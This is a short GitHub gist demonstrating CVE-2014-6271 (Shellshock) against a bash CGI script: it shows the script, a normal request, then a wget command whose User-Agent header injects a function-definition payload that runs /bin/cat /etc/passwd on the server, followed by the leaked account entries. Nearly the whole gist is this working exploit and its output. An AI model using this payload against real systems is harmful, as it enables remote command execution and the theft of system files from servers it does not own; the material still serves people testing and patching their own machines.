Skip to content

Instantly share code, notes, and snippets.

@nlamirault
Created September 26, 2014 10:44
Show Gist options
  • Save nlamirault/14e17689d8cbfb2d5be3 to your computer and use it in GitHub Desktop.
Save nlamirault/14e17689d8cbfb2d5be3 to your computer and use it in GitHub Desktop.
CVE-2014-6271
$ cat /usr/lib/cgi-bin/hello.cgi
#!/bin/bash
echo "Content-type: text/plain"
echo
echo
echo "Hi"
$ curl http://x.x.x.x/cgi-bin/hello.cgi
Hi
$ wget -U "() { test;};echo \"Content-type: text/plain\"; echo ; /bin/cat /etc/passwd" http://x.x.x.x/cgi-bin/hello.cgi
$ cat hello.cgi
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
[...]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment